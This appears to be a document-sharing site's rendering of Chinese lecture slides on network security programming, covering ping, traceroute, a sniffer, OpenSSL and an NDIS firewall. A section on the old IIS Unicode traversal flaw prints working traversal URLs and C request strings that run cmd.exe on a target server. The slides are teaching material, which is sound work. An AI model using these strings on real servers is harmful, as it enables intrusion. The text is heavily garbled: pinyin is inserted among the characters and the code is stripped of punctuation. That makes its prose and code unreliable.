網(wǎng)絡(luò)安全編程_第1頁(yè)
網(wǎng)絡(luò)安全編程_第2頁(yè)
網(wǎng)絡(luò)安全編程_第3頁(yè)
網(wǎng)絡(luò)安全編程_第4頁(yè)
網(wǎng)絡(luò)安全編程_第5頁(yè)
已閱讀5頁(yè),還剩16頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、網(wǎng)絡(luò)安全應(yīng)用實(shí)現(xiàn)網(wǎng)絡(luò)安全應(yīng)用實(shí)現(xiàn)l最常用的網(wǎng)絡(luò)命令的實(shí)現(xiàn);l舉例說(shuō)明網(wǎng)絡(luò)攻擊是怎么實(shí)現(xiàn)的;l防火墻的簡(jiǎn)單實(shí)現(xiàn);lOpenSSL的利用。 信息安全原理與應(yīng)用 趙樹(shù)升 20126.1 常用網(wǎng)絡(luò)命令的實(shí)現(xiàn)常用網(wǎng)絡(luò)命令的實(shí)現(xiàn)l常用的網(wǎng)絡(luò)命令有IpConfig(取IP地址)、Ping(驗(yàn)證遠(yuǎn)程計(jì)算機(jī)的連接狀況)、Tracert(路由跟蹤)、Netstat(顯示協(xié)議統(tǒng)計(jì)和當(dāng)前的 TCP/IP 網(wǎng)絡(luò)連接)、NET命令(管理網(wǎng)絡(luò)環(huán)境、服務(wù)、用戶(hù)、登錄等本地信息)、Telne實(shí)現(xiàn)遠(yuǎn)程登錄、Arp 顯示和修改“地址解析協(xié)議”。Ftp將文件傳送到正在運(yùn)行 Ftp 服務(wù)的遠(yuǎn)程計(jì)算機(jī)或從正在運(yùn)行 Ftp 服務(wù)的遠(yuǎn)程計(jì)算

2、機(jī)下載文件。Tftp將文件傳輸?shù)秸谶\(yùn)行 Tftp 服務(wù)的遠(yuǎn)程計(jì)算機(jī)或從正在運(yùn)行Tftp服務(wù)的遠(yuǎn)程計(jì)算機(jī)接收文件。還有很多其它命令。信息安全原理與應(yīng)用 趙樹(shù)升 20121、實(shí)現(xiàn)、實(shí)現(xiàn)PingPing利用ICMP協(xié)議,向目的計(jì)算機(jī)發(fā)送自我構(gòu)造的ICMP數(shù)據(jù)報(bào)實(shí)現(xiàn)。ICMP是“Internet Control Message Protocol”(Internet控制消息協(xié)議)的縮寫(xiě)。它是TCP/IP協(xié)議族的一個(gè)子協(xié)議,用于在IP主機(jī)、路由器之間傳遞控制消息??刂葡⑹侵妇W(wǎng)絡(luò)通不通、主機(jī)是否可達(dá)、路由是否可用等網(wǎng)絡(luò)本身的消息。這些控制消息雖然并不傳輸用戶(hù)數(shù)據(jù),但是對(duì)于用戶(hù)數(shù)據(jù)的傳遞起著重要的作用。信

3、息安全原理與應(yīng)用 趙樹(shù)升 20122、取本機(jī)、取本機(jī)IP地址地址l獲取本機(jī)IP地址可以使用套接字函數(shù)實(shí)現(xiàn)。l#include winsock2.hl#pragma comment (lib , ws2_32.lib) /必須lvoid CGetMyIPDlg:OnGetIP() llWORD wVersionRequested; lWSADATA wsaData; lchar name255;/定義用于存放獲得的主機(jī)名的變量 lPHOSTENT hostinfo; lwVersionRequested = MAKEWORD( 2, 0 ); l/調(diào)用ws2_32.dlllWSAStartup(

4、 wVersionRequested, &wsaData ); l/獲取本地機(jī)器的名字到namelgethostname ( name, sizeof(name); l/根據(jù)機(jī)器名字獲取機(jī)器信息結(jié)構(gòu)hostinfolhostinfo = gethostbyname(name); l/獲取本地IP。h_addr_list為IP列表,當(dāng)有多個(gè)網(wǎng)卡時(shí)有多個(gè)IP信息安全原理與應(yīng)用 趙樹(shù)升 20123、路由跟蹤實(shí)現(xiàn)、路由跟蹤實(shí)現(xiàn)路由跟蹤的作用是測(cè)試數(shù)據(jù)報(bào)到達(dá)目的機(jī)器經(jīng)過(guò)的路由器。利用ICMP協(xié)議,向目的計(jì)算機(jī)發(fā)送多個(gè)自我構(gòu)造的ICMP數(shù)據(jù)報(bào),而且每個(gè)數(shù)據(jù)報(bào)含有不同TTL(Time To Live

5、)值,然后分析返回的數(shù)據(jù)報(bào)而實(shí)現(xiàn)的。 信息安全原理與應(yīng)用 趙樹(shù)升 20124、模擬、模擬NET命令建立用戶(hù)命令建立用戶(hù)信息安全原理與應(yīng)用 趙樹(shù)升 2012Net*系列的API函數(shù)可以實(shí)現(xiàn)NET的功能,這里僅舉例建立用戶(hù)。主要代碼如下,結(jié)果如圖6-1,6-2所示。void CGetUsersDlg:OnCreateUser() wchar_t user100; /要使用寬字符格式wchar_t passcode100;memset(user,0,200);memset(user,0,200);int len1=m_user.GetLength();int len2=m_password.GetL

6、ength();6.2 從一個(gè)漏洞看網(wǎng)絡(luò)攻擊過(guò)程從一個(gè)漏洞看網(wǎng)絡(luò)攻擊過(guò)程UNICODE漏洞該漏洞于2000年10月17日被公布,目前有該漏洞的機(jī)器比較少。在當(dāng)時(shí)很多的攻擊都是利用了該漏洞。UNICODE是一種國(guó)際標(biāo)準(zhǔn)編碼,采用兩個(gè)字節(jié)編碼。例如字符a,若用ANSI格式,為數(shù)據(jù)0 x61,若用UNICODE表示,為數(shù)據(jù)0 x0061。當(dāng)Windows的IIS打開(kāi)文件時(shí),如果該文件名包含unicode字符,它會(huì)對(duì)其進(jìn)行解碼,如果用戶(hù)提供一些特殊的編碼,將導(dǎo)致IIS錯(cuò)誤的打開(kāi)或者執(zhí)行某些web根目錄以外的文件。信息安全原理與應(yīng)用 趙樹(shù)升 20121、UNICODE漏洞的利用漏洞的利用l例如對(duì)中文版本

7、的Windows 2000系統(tǒng),經(jīng)過(guò)測(cè)試存在這樣的UNICODE漏洞,在瀏覽器中輸入:l/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+dirl如果存在UNICODE漏洞,則會(huì)看到硬盤(pán)目錄,否則會(huì)顯示“無(wú)法找到網(wǎng)頁(yè)”。 “cmd.exe?/c+dir”表示執(zhí)行目標(biāo)機(jī)器的cmd.exe程序,再執(zhí)行dir命令得到目錄下文件。信息安全原理與應(yīng)用 趙樹(shù)升 20122、掃描、掃描UNICODE漏洞漏洞l我們編個(gè)程序來(lái)模擬上面的操作,原理是針對(duì)幾種存在該種漏洞的操作系統(tǒng)構(gòu)造如下的特殊字符串。原理如圖6-6。lchar *exA=”GET

8、 /scripts/.%c1%1c./winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0nn;lchar *exB=GET /scripts/.%c1%9c./winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0nn;lchar *exC=GET /scripts/.%c0%af./winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0nn;lchar *exD=GET /scripts/.%c0%2f./winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0nn;lchar

9、*exE=GET /scripts/.%c1%9c./winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0nn;信息安全原理與應(yīng)用 趙樹(shù)升 2012l6.3 實(shí)現(xiàn)應(yīng)用層網(wǎng)絡(luò)嗅探實(shí)現(xiàn)應(yīng)用層網(wǎng)絡(luò)嗅探l嗅探器(Sniffer)是一種常用的收集有用數(shù)據(jù)方法,這些數(shù)據(jù)可以是用戶(hù)的帳號(hào)和密碼,可以是一些商用機(jī)密數(shù)據(jù)等等。嗅探器可以作為能夠捕獲網(wǎng)絡(luò)報(bào)文的設(shè)備,被這樣定義:Sniffer是利用計(jì)算機(jī)的網(wǎng)絡(luò)接口截獲目的地為其它計(jì)算機(jī)的數(shù)據(jù)包文的一種工具。計(jì)算機(jī)網(wǎng)絡(luò)嗅探器被系統(tǒng)管理員用來(lái)調(diào)試網(wǎng)絡(luò)故障,而黑客則可以用它竊取計(jì)算機(jī)程序在網(wǎng)絡(luò)上發(fā)送和接收到的數(shù)據(jù)。 l網(wǎng)絡(luò)嗅探器可以在應(yīng)用層

10、用套接字API實(shí)現(xiàn),也可以在內(nèi)核層用網(wǎng)絡(luò)協(xié)議驅(qū)動(dòng)實(shí)現(xiàn)。這里只討論應(yīng)用層的實(shí)現(xiàn)。 信息安全原理與應(yīng)用 趙樹(shù)升 20121、嗅探器原理、嗅探器原理l普通情況下,網(wǎng)卡只接受目的地址和自己有關(guān)的信息包,即傳輸?shù)奖镜刂鳈C(jī)的數(shù)據(jù)包。當(dāng)一臺(tái)計(jì)算機(jī)向另一臺(tái)計(jì)算機(jī)發(fā)送數(shù)據(jù)包,事實(shí)上本局域網(wǎng)所有的計(jì)算機(jī)都會(huì)接收到數(shù)據(jù)包,但只有發(fā)送目的的計(jì)算機(jī)會(huì)接收和處理數(shù)據(jù)包,其它計(jì)算機(jī)會(huì)將該數(shù)據(jù)包丟棄。其原理是使用數(shù)據(jù)包的目的地址和網(wǎng)絡(luò)適配卡(NIC)的MAC(Media Access Control)地址比較實(shí)現(xiàn)的。當(dāng)一個(gè)數(shù)據(jù)包到達(dá),所有在網(wǎng)內(nèi)的計(jì)算機(jī)通過(guò)適配器都能夠發(fā)現(xiàn)這個(gè)數(shù)據(jù)片,其中也包括路由適配器,嗅探器和其他一些機(jī)器

11、。通常,適配器都具有一塊芯片用來(lái)做結(jié)構(gòu)比較的,檢查結(jié)構(gòu)中的目地MAC地址和自己的MAC地址,如果不相同,則適配器會(huì)丟棄這個(gè)結(jié)構(gòu)。這個(gè)操作會(huì)由硬件來(lái)完成,所以,對(duì)于計(jì)算機(jī)內(nèi)的程序來(lái)說(shuō),整個(gè)過(guò)程是毫無(wú)察覺(jué)的。Sniffer程序是把網(wǎng)絡(luò)適配卡,如以太網(wǎng)卡置為一種混雜模式(promiscuous)的狀態(tài)。一旦網(wǎng)卡設(shè)置為這種模式,它就能使Sniffer程序可以接受傳輸在本地網(wǎng)絡(luò)上的每一個(gè)信息報(bào)。信息安全原理與應(yīng)用 趙樹(shù)升 2012l2、一個(gè)簡(jiǎn)單的、一個(gè)簡(jiǎn)單的Sniffer程序?qū)崿F(xiàn)程序?qū)崿F(xiàn)l程序循環(huán)接收網(wǎng)絡(luò)數(shù)據(jù)包要占用大量時(shí)間,因此數(shù)據(jù)的接收必須在子線(xiàn)程中進(jìn)行。網(wǎng)絡(luò)數(shù)據(jù)包的接收在線(xiàn)程控制函數(shù)Thread(

12、)中實(shí)現(xiàn),主要代碼如下。lUINT Thread(LPVOID param)l CSnifferDlg *mys=(CSnifferDlg*)param;l SOCKET sock;l SOCKADDR_IN addr_in;l IP ip; ;IP結(jié)構(gòu),在主程序定義l TCP tcp; ;TCP結(jié)構(gòu),在主程序定義l char RecvBufBUFFER_SIZE; ;接收數(shù)據(jù)包緩沖區(qū)l WSADATA WSAData;信息安全原理與應(yīng)用 趙樹(shù)升 20126.4 OpenSSL應(yīng)用于網(wǎng)絡(luò)安全應(yīng)用于網(wǎng)絡(luò)安全l6.4 OpenSSL應(yīng)用于網(wǎng)絡(luò)安全應(yīng)用于網(wǎng)絡(luò)安全l如果想構(gòu)建一個(gè)簡(jiǎn)單的Web客戶(hù)端和服

13、務(wù)器對(duì),這時(shí)可以使用SSL。SSL(Secure Socket Layer)是一種架構(gòu)于TCP 之上的安全通訊協(xié)定,它可以有效地協(xié)助 Internet 應(yīng)用軟體提升通訊時(shí)的資料完整性以及安全性。目前較??吹降膽?yīng)用就是SSL Web網(wǎng)站。如果在網(wǎng)絡(luò)上看到訪問(wèn)的網(wǎng)頁(yè)的url出現(xiàn)以 “https:/”開(kāi)頭的字符串,那個(gè) s , 就是SSL的意思。信息安全原理與應(yīng)用 趙樹(shù)升 2012 OpenSSL是套開(kāi)放源代碼的SSL套件,其函式庫(kù)是以C語(yǔ)言所寫(xiě)成,實(shí)作了基本的傳輸層資料加密功能OpenSSL包括3部分:ssl協(xié)議、密碼算法庫(kù)和應(yīng)用程序。密碼算法庫(kù)是基礎(chǔ),應(yīng)用程序把密碼算法庫(kù)和ssl協(xié)議應(yīng)用于實(shí)際開(kāi)

14、發(fā)中,也是豐富的OpenSSL指令集。Openssl的源代碼庫(kù)可以從Openssl的官方網(wǎng)站自由下載。利用該庫(kù)可以建立一個(gè)ssl通信的服務(wù)器和客戶(hù)端。信息安全原理與應(yīng)用 趙樹(shù)升 20121、Windows下編譯下編譯OpenSSLl(1)訪問(wèn)/source/下載;l(2)解壓縮openssl-0.9.8e.tar.gz;l(3)下載perl,地址在http:/ Configure VC-WIN32 prefix=c:/openssl-0.9.8e”l(7)運(yùn)行“msdo_ms”;l(8)運(yùn)行”nmake-f msntdll

15、.mak”,執(zhí)行make進(jìn)行編譯。該命令將openssl編譯成動(dòng)態(tài)庫(kù),如果想編譯成靜態(tài)庫(kù)應(yīng)使用命令“nmake f msnt.mak ”;l(9)運(yùn)行”nmake-f msntdll.mak test”,檢查上一步編譯是否成功;l(10)運(yùn)行運(yùn)行”nmake-f msntdll.mak install”, 本步驟講安裝編譯后的openssl到制定目錄;l(11)編譯成功后,打開(kāi)c:openssl-0.9.8e目錄將看到binincludelib的三個(gè)文件夾。信息安全原理與應(yīng)用 趙樹(shù)升 20126.5 Passthru應(yīng)用于防火墻應(yīng)用于防火墻防火墻是最前線(xiàn)的網(wǎng)絡(luò)安全設(shè)備,它安裝在網(wǎng)絡(luò)節(jié)點(diǎn)(路由器

16、或者主機(jī))上,攔截網(wǎng)絡(luò)數(shù)據(jù),只允許符合安全策略的網(wǎng)絡(luò)數(shù)據(jù)包進(jìn)出,保護(hù)內(nèi)部網(wǎng)絡(luò)或者主機(jī)。防火墻主要功能是包過(guò)濾、狀態(tài)檢測(cè)、應(yīng)用代理、內(nèi)容過(guò)濾。包過(guò)濾是防火墻的一個(gè)核心功能。根據(jù)防火墻內(nèi)部結(jié)構(gòu)與協(xié)議層對(duì)應(yīng)關(guān)系,防火墻在ISO 七層模型的網(wǎng)絡(luò)層實(shí)現(xiàn)包過(guò)濾。信息安全原理與應(yīng)用 趙樹(shù)升 20121、NDIS簡(jiǎn)介簡(jiǎn)介NDIS(Network Driver InterfaceSpecification)是網(wǎng)絡(luò)驅(qū)動(dòng)程序接口規(guī)范的簡(jiǎn)稱(chēng)。它橫跨傳輸層、網(wǎng)絡(luò)層和數(shù)據(jù)鏈路層,定義了網(wǎng)卡或網(wǎng)卡驅(qū)動(dòng)程序與上層協(xié)議驅(qū)動(dòng)程序之間的通信接口規(guī)范,屏蔽了底層物理硬件的不同,使上層的協(xié)議驅(qū)動(dòng)程序可以和底層任何型號(hào)的網(wǎng)卡通信。NDI

17、S 為網(wǎng)絡(luò)驅(qū)動(dòng)程序創(chuàng)建了一個(gè)完整的開(kāi)發(fā)環(huán)境,只需調(diào)用NDIS函數(shù),而不用考慮操作系統(tǒng)的內(nèi)核以及與其他驅(qū)動(dòng)程序的接口問(wèn)題,從而使得網(wǎng)絡(luò)驅(qū)動(dòng)程序可以從與操作系統(tǒng)的復(fù)雜通訊中分離,極大地方便了網(wǎng)絡(luò)驅(qū)動(dòng)程序的編寫(xiě)。另外,利用NDIS 的封裝特性,可以專(zhuān)注于一層驅(qū)動(dòng)的設(shè)計(jì),減少了設(shè)計(jì)的復(fù)雜性,同時(shí)易于擴(kuò)展驅(qū)動(dòng)程序棧。防火墻的開(kāi)發(fā)一般采用的是中間驅(qū)動(dòng)程序。通過(guò)NDIS 中間層驅(qū)動(dòng),我們可以截獲來(lái)自網(wǎng)卡的所有原始數(shù)據(jù)包。信息安全原理與應(yīng)用 趙樹(shù)升 20122、Passthru實(shí)現(xiàn)簡(jiǎn)單防火墻實(shí)現(xiàn)簡(jiǎn)單防火墻Microsoft在DDK中附帶PassThru提供了一個(gè)的中間層驅(qū)動(dòng)框架,使得開(kāi)發(fā)者能夠相對(duì)容易的在這個(gè)

18、基礎(chǔ)實(shí)現(xiàn)自己的NDIS中間層驅(qū)動(dòng)擴(kuò)展。我們將在PassThru的基礎(chǔ)上實(shí)現(xiàn)一個(gè)基本的數(shù)據(jù)包操作的擴(kuò)展。對(duì)于發(fā)送出去的數(shù)據(jù)包處理,只要在PassThru中的MiniportSend和MiniportSendPackets中加入必要的操作代碼,而對(duì)于接收的數(shù)據(jù)包時(shí),則需要在ProtocolReceive和ProtocolReceviePackets中加入必要的操作代碼。信息安全原理與應(yīng)用 趙樹(shù)升 2012l基于NDIS的程序分為應(yīng)用程序、驅(qū)動(dòng)程序以及兩者的通信三大部分:l基于NDIS 中間層的驅(qū)動(dòng)程序l該程序運(yùn)行于內(nèi)核態(tài),主要有以下功能模塊:lA. 網(wǎng)絡(luò)封包截獲,在數(shù)據(jù)鏈路層和網(wǎng)絡(luò)層之間捕獲所有接收到的封包lB. 網(wǎng)絡(luò)封包過(guò)濾,根據(jù)過(guò)濾規(guī)則,決定每一個(gè)封包的行為(放行或丟棄)lC. 網(wǎng)絡(luò)

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論